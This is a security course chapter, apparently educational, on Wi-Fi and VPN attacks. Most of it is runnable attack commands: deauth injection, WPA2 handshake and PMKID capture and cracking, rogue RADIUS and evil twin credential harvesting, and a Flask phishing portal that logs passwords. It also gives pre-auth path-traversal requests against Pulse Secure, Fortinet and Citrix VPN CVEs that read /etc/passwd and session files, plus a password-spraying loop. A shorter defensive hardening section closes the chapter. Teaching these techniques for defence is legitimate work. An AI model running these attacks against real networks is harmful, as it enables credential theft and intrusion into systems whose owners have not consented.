Chapter 3.4 - Wireless & VPN Attack Techniques
Module 3: Offensive Security & Exploitation Prerequisites: Chapter 3.3 (MITM, Spoofing & Lateral Movement)
Table of Contents
- Wireless Security Architecture - Standards, Bands & Threat Model
- 802.11 Frame Analysis & Monitor Mode
- WPA2-Personal Attacks - 4-Way Handshake Capture & PMKID
- WPA2-Enterprise Attacks - RADIUS, EAP & Rogue AP
- WPA3 - SAE, Dragonblood & Transition Mode Downgrade
- Rogue Access Points & Evil Twin Attacks
- VPN Architecture & Protocol Security
- VPN Attack Techniques - Credential Attacks, CVEs & Traffic Leakage
- Defensive Detections & Hardening
- MITRE ATT&CK Mapping
- Quiz
1. Wireless Security Architecture - Standards, Bands & Threat Model
802.11 Protocol Family
| Standard | Band | Max Throughput | Security Notes |
|---|---|---|---|
| 802.11b/g | 2.4 GHz | 54 Mbps | WEP/WPA legacy; still deployed on IoT |
| 802.11n (Wi-Fi 4) | 2.4/5 GHz | 600 Mbps | WPA2 minimum; TKIP still sometimes used |
| 802.11ac (Wi-Fi 5) | 5 GHz | 3.5 Gbps | WPA2/WPA3; MU-MIMO introduces new attack surface |
| 802.11ax (Wi-Fi 6/6E) | 2.4/5/6 GHz | 9.6 Gbps | WPA3 preferred; 6 GHz requires WPA3 |
| 802.11ad/ay (WiGig) | 60 GHz | 8+ Gbps | Short range; limited deployment |
Wireless Threat Model
The fundamental difference between wireless and wired attack surfaces: anyone within radio range can participate in the network medium - no physical access required. This shifts the attacker's requirement from proximity to a port to proximity to a building.
Key threat categories:
- Passive eavesdropping - capture all frames in range without transmitting
- Active injection - inject forged management frames (deauth, disassoc) without authentication
- Credential capture - intercept authentication exchanges (4-way handshake, EAP)
- Rogue infrastructure - impersonate legitimate APs to redirect or capture client traffic
- Client-side attacks - probe request harvesting, KARMA/MANA attacks
- VPN split tunneling abuse - route non-VPN traffic outside the encrypted tunnel
2. 802.11 Frame Analysis & Monitor Mode
Enabling Monitor Mode
# Check wireless interfaces
iw dev
iwconfig
# Method 1: iw (modern, preferred)
ip link set wlan0 down
iw wlan0 set monitor none # none = no specific flags
ip link set wlan0 up
iw wlan0 info # Verify: type monitor
# Method 2: airmon-ng (handles driver quirks automatically)
airmon-ng check kill # Kill interfering processes (NetworkManager, wpa_supplicant)
airmon-ng start wlan0 # Creates wlan0mon interface in monitor mode
airmon-ng start wlan0 6 # Start on specific channel (6)
# Verify monitor mode
iwconfig wlan0mon # Should show Mode:Monitor
# Stop monitor mode
airmon-ng stop wlan0mon
# Channel hopping - cycle through all channels to capture all traffic
airodump-ng wlan0mon # Default: hops all 2.4 GHz channels
# Lock to specific channel (for targeted capture)
iwconfig wlan0mon channel 6
# Or:
iw wlan0mon set channel 6
AP Enumeration with airodump-ng
# Passive survey - discover all APs and associated clients
airodump-ng wlan0mon
# Output columns:
# BSSID PWR Beacons #Data #/s CH MB ENC CIPHER AUTH ESSID
# AA:BB:.. -65 120 45 2 6 130 WPA2 CCMP PSK CorpWiFi
# Capture to file (for offline analysis)
airodump-ng wlan0mon \
--write /tmp/survey \ # Base filename (.cap, .csv, .kismet.csv)
--output-format pcap,csv # File formats to write
# Target specific network - lock to BSSID and channel
airodump-ng wlan0mon \
--bssid AA:BB:CC:DD:EE:FF \ # Target AP MAC
--channel 6 \ # Target channel
--write /tmp/target_capture # Save capture
# View captured clients (STATION column)
# Shows all devices associated to the AP + their signal strength
802.11 Frame Types
# Capture and analyze 802.11 management frames with tshark
tshark -i wlan0mon \
-Y 'wlan.fc.type == 0' \ # Management frames only (type 0)
-T fields \
-e wlan.fc.subtype \ # Frame subtype
-e wlan.sa \ # Source address
-e wlan.da \ # Destination address
-e wlan.ssid # SSID (for beacons/probes)
# Frame subtypes:
# 0 = Association Request 4 = Probe Request
# 1 = Association Response 5 = Probe Response
# 8 = Beacon 10 = Disassociation
# 11 = Authentication 12 = Deauthentication
# Capture probe requests - reveals client's preferred network list
tshark -i wlan0mon \
-Y 'wlan.fc.subtype == 4' \ # Probe Request
-T fields \
-e wlan.sa \ # Client MAC
-e wlan.ssid \ # SSID being probed for
| sort | uniq -c | sort -rn
# Detect hidden SSID via probe responses and association frames
tshark -i wlan0mon \
-Y 'wlan.fc.subtype == 5 || wlan.fc.subtype == 0' \
-T fields -e wlan.ssid -e wlan.sa | grep -v "^$"
3. WPA2-Personal Attacks - 4-Way Handshake Capture & PMKID
WPA2-PSK Authentication Overview
WPA2-PSK derives the Pairwise Master Key (PMK) from the passphrase:
PMK = PBKDF2(HMAC-SHA1, passphrase, SSID, 4096 iterations, 256 bits)
PTK = PRF(PMK + ANonce + SNonce + AP_MAC + Client_MAC)
MIC = HMAC-MD5/SHA1(KCK, EAPOL frames 1-3)
The MIC (Message Integrity Code) in EAPOL frame 2 is computed using key material derived from the PMK. Capturing frames 1+2 (or 2+3) of the 4-way handshake gives the attacker everything needed to verify candidate passphrases offline.
Capturing the 4-Way Handshake
# Step 1: Identify target AP
airodump-ng wlan0mon
# Note: BSSID, channel, and any connected clients (needed for deauth)
# Step 2: Focus capture on target AP
airodump-ng wlan0mon \
--bssid AA:BB:CC:DD:EE:FF \
--channel 6 \
--write /tmp/handshake_capture # Will create .cap file
# Step 3a: Wait for a client to naturally (re)associate - passive, no detection
# Monitor the capture - airodump shows "WPA handshake: AA:BB:..." when captured
# Step 3b: Force handshake via deauthentication injection (active, detectable)
# Open a second terminal:
aireplay-ng wlan0mon \
--deauth 5 \ # Send 5 deauth frames (0 = continuous)
-a AA:BB:CC:DD:EE:FF \ # AP BSSID
-c 11:22:33:44:55:66 # Client MAC (omit for broadcast deauth)
# Client disconnects and reconnects - airodump captures the handshake
# Step 4: Verify handshake was captured
aircrack-ng /tmp/handshake_capture-01.cap
# Output: "1 handshake" confirms capture
# Convert to hc22000 format for hashcat (replaces .hccapx)
hcxpcapngtool \
-o /tmp/handshake.hc22000 \ # Output file
/tmp/handshake_capture-01.cap # Input .cap file
PMKID Attack - Clientless Capture
The PMKID attack (Jens Steube, 2018) extracts a hash directly from the AP's first EAPOL frame during association - no client or deauthentication needed:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AP_MAC || Client_MAC)
Since PMK is derived from the passphrase, and PMKID is derived from PMK, a captured PMKID is sufficient to crack the passphrase offline.
# hcxdumptool - captures PMKID and handshakes simultaneously
apt install hcxdumptool hcxtools
# Capture PMKIDs from all APs in range
hcxdumptool \
-i wlan0mon \ # Monitor mode interface
-o /tmp/pmkid_capture.pcapng \ # Output file (pcapng format)
--enable_status=3 \ # Show captured PMKIDs in real time
--filtermode=2 \ # Capture from all APs
--active_beacon # Send probe requests to trigger PMKID
# Target specific AP by BSSID
echo "AABBCCDDEEFF" > /tmp/target.lst # BSSID without colons
hcxdumptool \
-i wlan0mon \
-o /tmp/pmkid_capture.pcapng \
--filterlist_ap=/tmp/target.lst \ # Only capture from this AP
--filtermode=2
# Convert pcapng to hashcat format (22000 = unified WPA format)
hcxpcapngtool \
-o /tmp/wifi_hashes.hc22000 \
/tmp/pmkid_capture.pcapng
# Verify what was captured
hcxpcapngtool \
--info=stdout \
/tmp/pmkid_capture.pcapng
# Shows: number of PMKIDs captured, handshakes, networks
Cracking WPA2 Hashes with hashcat
# Mode 22000 handles both PMKID and 4-way handshakes (unified format)
hashcat -m 22000 \
/tmp/wifi_hashes.hc22000 \
/usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule \
-O \ # Optimized kernels
--gpu-temp-abort=90 # Abort if GPU reaches 90 degrees C
# Rule-based attack (significantly higher hit rate)
hashcat -m 22000 \
/tmp/wifi_hashes.hc22000 \
/usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/d3ad0ne.rule
# Mask attack - common home router defaults (8 digits = many ISP defaults)
hashcat -m 22000 /tmp/wifi_hashes.hc22000 \
-a 3 \ # Mask attack
"?d?d?d?d?d?d?d?d" # 8 digits (common ISP default format)
# Hybrid attack - wordlist + mask (e.g., "password" + 4 digits)
hashcat -m 22000 /tmp/wifi_hashes.hc22000 \
-a 6 \ # Hybrid: wordlist + mask
/usr/share/wordlists/rockyou.txt \
"?d?d?d?d" # Append 4 digits to each word
# Show cracked passphrases
hashcat -m 22000 /tmp/wifi_hashes.hc22000 --show
4. WPA2-Enterprise Attacks - RADIUS, EAP & Rogue AP
WPA2-Enterprise uses 802.1X authentication with a RADIUS server. Clients authenticate using EAP (Extensible Authentication Protocol) methods rather than a shared passphrase. This eliminates PSK cracking - but introduces new attack vectors around the EAP exchange itself.
EAP Method Vulnerability Matrix
| EAP Method | Inner Auth | Certificate Required (Client) | Vulnerable to MITM | Notes |
|---|---|---|---|---|
| EAP-TLS | TLS mutual auth | Yes (client cert) | No | Strongest; requires PKI |
| PEAP/MSCHAPv2 | MSCHAPv2 inside TLS tunnel | No | Yes (if cert not validated) | Most common; most attacked |
| EAP-TTLS/PAP | PAP inside TLS | No | Yes | PAP credentials in plaintext inside tunnel |
| EAP-FAST | PAC-based | No | Partial | Cisco-proprietary |
| LEAP | MD5-based | No | Yes | Deprecated, completely broken |
Attacking PEAP/MSCHAPv2 with hostapd-wpe
When clients don't validate the RADIUS server certificate (or accept any certificate), a rogue AP with a rogue RADIUS server can intercept the MSCHAPv2 exchange:
# hostapd-wpe: hostapd with WPE (Wireless Pwnage Edition) patch
# Intercepts EAP credentials from enterprise clients
apt install hostapd-wpe
# Configure rogue AP matching the target enterprise network
cat > /etc/hostapd-wpe/hostapd-wpe.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=CorpWiFi # Must match target SSID exactly
hw_mode=g
channel=6
wpa=3 # WPA2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever
dh_file=/etc/hostapd-wpe/certs/dh
EOF
# Start rogue AP - intercepts EAP authentication attempts
hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
# Captured credentials appear in hostapd-wpe.log:
# mschapv2: Mon Jan 1 12:00:00 2024
# username: jsmith
# challenge: aabbccdd11223344
# response: aabbccddeeff00112233445566778899aabbccdd
# Crack MSCHAPv2 with asleap
asleap \
-C aabbccdd11223344 \ # Challenge from hostapd-wpe output
-R aabbccddeeff00112233445566778899aabbccdd \ # Response
-W /usr/share/wordlists/rockyou.txt # Wordlist
# Or use hashcat (mode 5500 = NetNTLMv1, which MSCHAPv2 reduces to)
# Convert with chapcrack or manually format for hashcat
hashcat -m 5500 \ # NetNTLMv1
"jsmith:::aabbccdd11223344:aabbccddeeff...:aabbccdd11223344" \
/usr/share/wordlists/rockyou.txt
eaphammer - Automated Enterprise Wi-Fi Attacks
# eaphammer: comprehensive EAP attack tool
git clone https://github.com/s0lst1c3/eaphammer
cd eaphammer && pip install -r requirements.txt
# Generate rogue certificates matching the target organization
python3 eaphammer \
--cert-wizard # Interactive cert generation
# Launch rogue AP for PEAP credential capture
python3 eaphammer \
-i wlan0 \
--channel 6 \
--auth wpa-eap \
--essid "CorpWiFi" \ # Target SSID
--creds # Enable credential capture mode
# GTC downgrade attack - force EAP-GTC (plaintext password)
python3 eaphammer \
-i wlan0 \
--channel 6 \
--auth wpa-eap \
--essid "CorpWiFi" \
--negotiate gtc-downgrade \ # Offer only EAP-GTC - yields plaintext passwords
--creds
5. WPA3 - SAE, Dragonblood & Transition Mode Downgrade
WPA3-SAE (Simultaneous Authentication of Equals)
WPA3 replaces PSK with SAE (Dragonfly key exchange), providing:
- Forward secrecy - compromising the passphrase doesn't decrypt past traffic
- Resistance to offline dictionary attacks - each SAE exchange requires active participation; captured handshakes can't be cracked offline
- Protection against PMKID attacks - SAE doesn't use PMKID in the same way
Dragonblood Vulnerabilities (CVE-2019-9494 / CVE-2019-9496)
The SAE handshake was found vulnerable to side-channel attacks that partially restore offline cracking capability:
# dragonslayer - Dragonblood PoC toolkit
git clone https://github.com/vanhoefm/dragonslayer
cd dragonslayer
# Timing side-channel attack - measure SAE commit frame processing time
# Variations in timing reveal information about the password element
python3 dragonslayer.py \
--bssid AA:BB:CC:DD:EE:FF \
--ssid "TargetWPA3" \
-i wlan0mon \
--attack timing # Timing-based side-channel
# Cache-based side-channel (requires local code execution on AP - rare)
python3 dragonslayer.py \
--attack cache
# Denial of service - SAE anti-clogging token exhaustion
python3 dragonslayer.py \
--attack dos \
--bssid AA:BB:CC:DD:EE:FF
WPA3 Transition Mode Downgrade
Most deployments run WPA3/WPA2 mixed mode for backward compatibility. This allows downgrade attacks:
# Step 1: Identify WPA3 transition mode networks
airodump-ng wlan0mon
# Look for: AUTH column showing "SAE+PSK" or "OWE+OPN" = transition mode
tshark -i wlan0mon \
-Y 'wlan.fc.subtype == 8' \ # Beacon frames
-T fields \
-e wlan.ssid \
-e wlan_rsna_eapolkeydes.key_info # Key info from RSN IE
# Step 2: Set up evil twin that only advertises WPA2 (not WPA3)
# Client will connect with WPA2 - now vulnerable to handshake capture
# Use hostapd configured for WPA2 only with identical SSID
# Then capture 4-way handshake as in Section 3
# Step 3: For WPA3-only networks - use beacon flood to confuse client
# mdk4 - beacon flooding / deauth attacks
mdk4 wlan0mon b \ # Beacon flood mode
-f /tmp/ssid_list.txt \ # SSID list to broadcast
-a \ # Authenticated (makes clients try to connect)
-c 6 # Channel
6. Rogue Access Points & Evil Twin Attacks
Basic Evil Twin with hostapd
An evil twin replicates a legitimate AP's SSID (and optionally BSSID) with higher transmit power. Clients that auto-connect to known SSIDs will connect to the rogue AP if its signal is stronger.
# Step 1: Set up AP using hostapd
cat > /tmp/evil_twin.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=TargetCoffeeShop # Exact SSID match
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0
EOF
# Start open AP (no password - guests connect without friction)
hostapd /tmp/evil_twin.conf &
# Assign IP to AP interface
ip addr add 192.168.1.1/24 dev wlan0
ip link set wlan0 up
# Step 2: DHCP server for clients
dnsmasq \
--interface=wlan0 \
--bind-interfaces \
--dhcp-range=192.168.1.100,192.168.1.200,12h \ # DHCP pool
--dhcp-option=3,192.168.1.1 \ # Default gateway
--dhcp-option=6,192.168.1.1 \ # DNS server (our machine)
--no-daemon &
# Step 3: NAT for internet access (keeps clients connected, less suspicious)
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward
# Step 4: DNS spoofing - redirect all DNS to our server
# dnsmasq already handles this; add specific spoofs:
echo "address=/#/192.168.1.1" >> /etc/dnsmasq.conf # Catch-all DNS redirect
# Then run credential capture server on port 80/443
airbase-ng Evil Twin
# Create soft AP with airbase-ng (simpler than hostapd for testing)
airbase-ng \
-e "TargetNetwork" \ # SSID
-c 6 \ # Channel
-a AA:BB:CC:DD:EE:FF \ # BSSID (spoof target AP's MAC)
wlan0mon
# This creates at0 interface - configure as gateway:
ip addr add 10.0.0.1/24 dev at0
ip link set at0 up
Captive Portal Credential Harvesting
# wifipumpkin3 - rogue AP framework with captive portal
pip3 install wifi-pumpkin3
wifipumpkin3
# Inside wifipumpkin3 console:
wp3 > set interface wlan0
wp3 > set ssid "Airport_WiFi_Free"
wp3 > set proxy noproxy # No proxy = direct routing
wp3 > use captive-portal # Enable captive portal
wp3 > set captive_portal_template login_v4 # Portal template
wp3 > start
# Standalone phishing portal with flask:
# Serve a login page that captures credentials to a log file
cat > /tmp/portal.py << 'EOF'
from flask import Flask, request, redirect
app = Flask(__name__)
@app.route('/', methods=['GET','POST'])
def portal():
if request.method == 'POST':
creds = f"{request.form.get('username')}:{request.form.get('password')}"
with open('/tmp/creds.txt','a') as f:
f.write(f"{request.remote_addr} | {creds}\n")
return redirect("https://google.com") # Redirect after capture
return open('/tmp/login.html').read() # Serve fake login page
app.run(host='0.0.0.0', port=80)
EOF
python3 /tmp/portal.py &
7. VPN Architecture & Protocol Security
VPN Protocol Comparison
| Protocol | Port | Encryption | Auth | Known Weaknesses |
|---|---|---|---|---|
| OpenVPN | 1194/UDP, 443/TCP | TLS (AES-256-GCM) | Cert/PSK/MFA | Config misconfiguration; old TLS if unpatched |
| WireGuard | 51820/UDP | ChaCha20-Poly1305 | Public key only | No built-in user auth; key management complexity |
| IPsec/IKEv2 | 500, 4500/UDP | AES-GCM | Cert/PSK/EAP | IKEv1 Main Mode PSK fingerprinting |
| SSL-VPN (vendor) | 443/TCP | TLS | Credential/MFA | CVE-heavy history (Pulse, Fortinet, Citrix) |
| PPTP | 1723/TCP | MPPE/RC4 | MS-CHAPv2 | Completely broken - MS-CHAPv2 crackable in <24h |
| L2TP/IPsec | 1701/UDP + IPsec | AES/3DES | PSK/Cert | Pre-shared key weakness; NSA concerns |
VPN Traffic Leakage - Split Tunneling
Split tunneling routes only specific traffic through the VPN tunnel; other traffic goes directly to the internet. The attack surface:
# Detect VPN split tunneling from outside
# Connected clients' non-VPN traffic is visible from the internet
# Probe the client for services on non-tunneled interfaces
# From inside a network - identify VPN clients that leak DNS
# Clients with split tunneling send internal DNS queries via VPN
# but public DNS queries directly - visible in network captures
# Test your own VPN client for DNS leaks
curl https://dnsleaktest.com/test.json # From behind VPN
# If results show ISP DNS servers → DNS leak (split tunnel for DNS)
# ipleak.net API
curl -s https://ipleak.net/json/ | jq '{ip:.ip, country:.country_name}'
# tcpdump on VPN gateway - see what's tunneled vs not
tcpdump -i tun0 -n # VPN tunnel interface - what goes through
tcpdump -i eth0 -n not port 1194 # Physical interface - what bypasses VPN
8. VPN Attack Techniques - Credential Attacks, CVEs & Traffic Leakage
SSL-VPN Vulnerability Exploitation
Commercial SSL-VPN appliances have accumulated critical CVEs over the past decade. These are high-priority targets because they are internet-facing and authentication gateways.
# Pulse Secure / Ivanti CVE-2019-11510 - Pre-auth arbitrary file read
# Allows reading /etc/passwd and session files without authentication
curl -sk \
"https://vpn.target-corp.com/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd" \
--path-as-is \ # Don't normalize the path
-o /tmp/passwd.txt
cat /tmp/passwd.txt # Should contain /etc/passwd if vulnerable
# Read active session files (contain plaintext credentials in older versions)
curl -sk \
"https://vpn.target-corp.com/dana-na/../dana/html5acc/guacamole/../../../../../../data/runtime/mtmp/1000/0/0/data.mdb" \
--path-as-is -o /tmp/sessions.mdb
# Parse with mdbtools or strings
strings /tmp/sessions.mdb | grep -i "password\|pass\|user"
# Fortinet SSL-VPN CVE-2018-13379 - Pre-auth path traversal
curl -sk \
"https://vpn.target-corp.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" \
-o /tmp/fortinet_sessions
# Sessions file contains VPN credentials in some firmware versions
strings /tmp/fortinet_sessions | grep -E "[a-zA-Z0-9]{8,}"
# Citrix ADC/Gateway CVE-2019-19781 - Pre-auth RCE (Shitrix)
curl -sk \
"https://vpn.target-corp.com/vpn/../vpns/cfg/smb.conf" \
--path-as-is
# Confirmed vulnerable if smb.conf is returned
# Scanning for common SSL-VPN CVEs with nuclei
nuclei \
-u https://vpn.target-corp.com \
-t /opt/nuclei-templates/cves/ \ # CVE templates directory
-tags vpn,pulse-secure,fortinet,citrix \
-severity critical,high \
-o /tmp/vpn_vulns.txt
IKE/IPsec Enumeration and PSK Attacks
# ike-scan - enumerate IKE peers and configurations
ike-scan \
--showbackoff \ # Show retransmission back-off (OS fingerprinting)
--trans=5,2,1,2 \ # Propose specific transforms
192.168.1.1 # VPN gateway
# Full transform enumeration - find accepted cipher suites
ike-scan --trans \
--aggressive \ # Aggressive mode (exposes group name)
-u "vpngroup" \ # Group name (common: vpngroup, GroupVPN, remote)
192.168.1.1
# IKEv1 Aggressive Mode PSK hash capture
# In Aggressive Mode, the PSK hash is sent in the clear (design flaw)
ike-scan \
-A \ # Aggressive mode
--id=vpngroup \ # Group ID
--pskcrack=/tmp/psk_hash.txt \ # Save PSK hash to file
192.168.1.1
# Crack the PSK hash
psk-crack \
-d /usr/share/wordlists/rockyou.txt \
/tmp/psk_hash.txt
# or hashcat mode 5300 (IKE-MD5) / 5400 (IKE-SHA1)
hashcat -m 5300 /tmp/psk_hash.txt /usr/share/wordlists/rockyou.txt
VPN Credential Brute Force
# OpenVPN with username/password auth
hydra -L /tmp/users.txt \
-P /usr/share/wordlists/rockyou.txt \
192.168.1.1 \
cisco \ # Module: cisco for SSL-VPN
-s 443 \
-t 4 \
-V
# Fortinet SSL-VPN login brute force
hydra -L users.txt -P passwords.txt \
"https://vpn.target-corp.com" \
https-post-form \
"/remote/logincheck:username=^USER^&credential=^PASS^:err"
# Pulse Secure brute force
crackmapexec \
--pulsevpn vpn.target-corp.com \
-u users.txt -p passwords.txt
# Rate limiting awareness: most VPN solutions lock accounts after 3-5 failures
# Use password spraying (one password, many users) with delays
for user in $(cat /tmp/users.txt); do
result=$(curl -sk -o /dev/null -w "%{http_code}" \
-d "username=$user&password=Welcome2024!" \
https://vpn.target-corp.com/remote/logincheck)
echo "$user: $result"
sleep 30 # 30s delay between attempts - avoid lockout
done
Traffic Analysis of VPN Sessions
# Determine VPN protocol from traffic (passive, no interaction with target)
# Identify WireGuard (UDP with characteristic handshake initiation message)
tshark -i eth0 \
-Y 'udp.port == 51820' \
-T fields -e ip.src -e ip.dst -e udp.length
# Identify OpenVPN (TLS on port 1194 or 443)
tshark -i eth0 \
-Y 'tcp.port == 1194 || udp.port == 1194' \
-T fields -e ip.src -e ip.dst -e frame.len
# Fingerprint IPsec IKE negotiations
tshark -i eth0 \
-Y 'isakmp' \ # IKE/ISAKMP dissector
-T fields \
-e ip.src -e ip.dst \
-e isakmp.messageid \
-e isakmp.flags
# JARM fingerprint SSL-VPN server (from Chapter 2.4)
python3 jarm.py vpn.target-corp.com -p 443
# Known JARM signatures for Pulse Secure, Fortinet, GlobalProtect
# Detect VPN split tunneling by observing routing behavior
# Client routes to 10.0.0.0/8 through VPN tunnel (tun0)
# But routes to 0.0.0.0/0 (internet) through eth0 → split tunnel
ip route show table main # On client - shows routing decision
9. Defensive Detections & Hardening
Wireless Hardening
# Detect rogue APs via beacon monitoring (Zeek or Suricata)
# Rogue AP fingerprints: known SSID but different BSSID/channel
# waidps - wireless IDS
python3 waidps.py -i wlan0mon # Monitor for rogue APs, deauth attacks
# Detect deauthentication attacks (mass deauth = likely attack)
tshark -i wlan0mon \
-Y 'wlan.fc.subtype == 12' \ # Deauth frames
-T fields -e wlan.sa -e wlan.da | \
sort | uniq -c | sort -rn | \
awk '$1 > 10 {print "DEAUTH FLOOD:", $0}' # > 10 deauths = suspicious
# 802.11w (Management Frame Protection) - prevents deauth injection
# Enable in hostapd for your legitimate APs:
# ieee80211w=2 (2 = required; 1 = optional)
# This makes deauth frames cryptographically authenticated
# Enforce certificate validation in supplicant (prevents rogue RADIUS)
# /etc/wpa_supplicant/wpa_supplicant.conf:
cat >> /etc/wpa_supplicant/wpa_supplicant.conf << 'EOF'
network={
ssid="CorpWiFi"
key_mgmt=WPA-EAP
eap=PEAP
identity="user@corp.local"
password="userpassword"
ca_cert="/etc/ssl/certs/corp-ca.pem" # MUST validate server cert
subject_match="/CN=radius.corp.local" # Pin to specific CN
phase2="auth=MSCHAPV2"
}
EOF
# Without ca_cert: any rogue RADIUS server is accepted
VPN Hardening
# OpenVPN hardening - /etc/openvpn/server.conf
tls-version-min 1.2 # Minimum TLS 1.2
tls-cipher TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384 # Strong cipher only
cipher AES-256-GCM # Data channel cipher
auth SHA256 # HMAC auth
tls-auth /etc/openvpn/ta.key 0 # Pre-shared HMAC key (prevents DoS)
verify-client-cert require # Require client certificate
username-as-common-name # Tie certificate to username
# Force full tunnel - disable split tunneling
push "redirect-gateway def1 bypass-dhcp" # Route ALL traffic through VPN
push "dhcp-option DNS 10.8.0.1" # Force internal DNS (prevents DNS leak)
# WireGuard: enable kill switch - drop all traffic if tunnel goes down
PostUp = iptables -I OUTPUT ! -o %i -m mark ! --mark $(wg show %i fwmark) \
-m addrtype ! --dst-type LOCAL -j REJECT
PreDown = iptables -D OUTPUT ! -o %i -m mark ! --mark $(wg show %i fwmark) \
-m addrtype ! --dst-type LOCAL -j REJECT
# Suricata - detect plaintext traffic that should be encrypted
# Alert on cleartext HTTP from known VPN clients (indicates split tunnel or bypass)
alert http $VPN_CLIENTS any -> $EXTERNAL_NET any (
msg:"VPN Client Sending Unencrypted HTTP - Possible Split Tunnel";
flow:established,to_server;
classtype:policy-violation;
sid:9006001; rev:1;
)
# Alert on IKEv1 Aggressive Mode (PSK exposure)
alert udp any any -> $HOME_NET 500 (
msg:"IKEv1 Aggressive Mode - PSK Hash Exposed";
content:"|04 00|"; # Aggressive mode exchange type
byte_test:1,=,4,8;
classtype:protocol-command-decode;
sid:9006002; rev:1;
)
10. MITRE ATT&CK Mapping
| Technique | ID | Method | Detection |
|---|---|---|---|
| Network Sniffing | T1040 | Monitor mode, airodump-ng | 802.11w MFP, encrypted protocols |
| Adversary-in-the-Middle: MITM Wi-Fi | T1557.004 | Evil twin, hostapd-wpe | Rogue AP detection, cert pinning |
| Steal Application Access Token | T1528 | Captive portal credential harvest | Certificate validation, MFA |
| Exploit Public-Facing Application | T1190 | CVE-2019-11510, CVE-2019-19781 | Patch, WAF, network segmentation |
| Brute Force: Password Spraying | T1110.003 | VPN credential spray | MFA, lockout policy, anomaly detection |
| Credentials from Password Stores | T1555 | Session file read (Pulse CVE) | Patch, monitor file access |
| Network Denial of Service | T1498 | Deauth flood, SAE DoS | 802.11w, rate limiting |
| Gather Victim Network Info | T1590 | Probe request harvest, ike-scan | Minimize probe response data |
| Rogue Wi-Fi Access Point | T1465 | Evil twin, hostapd | WIDS, certificate-based EAP |
| Exfiltration Over Alternative Protocol | T1048 | VPN split tunnel abuse | Full-tunnel enforcement, DLP |
End of Chapter 3.4 - Wireless & VPN Attack Techniques
End of Module 3 - Offensive Security & Exploitation
Next: Module 4 - Defense Engineering & Hardening Chapter 4.1: Firewall Architecture, Segmentation & Zero Trust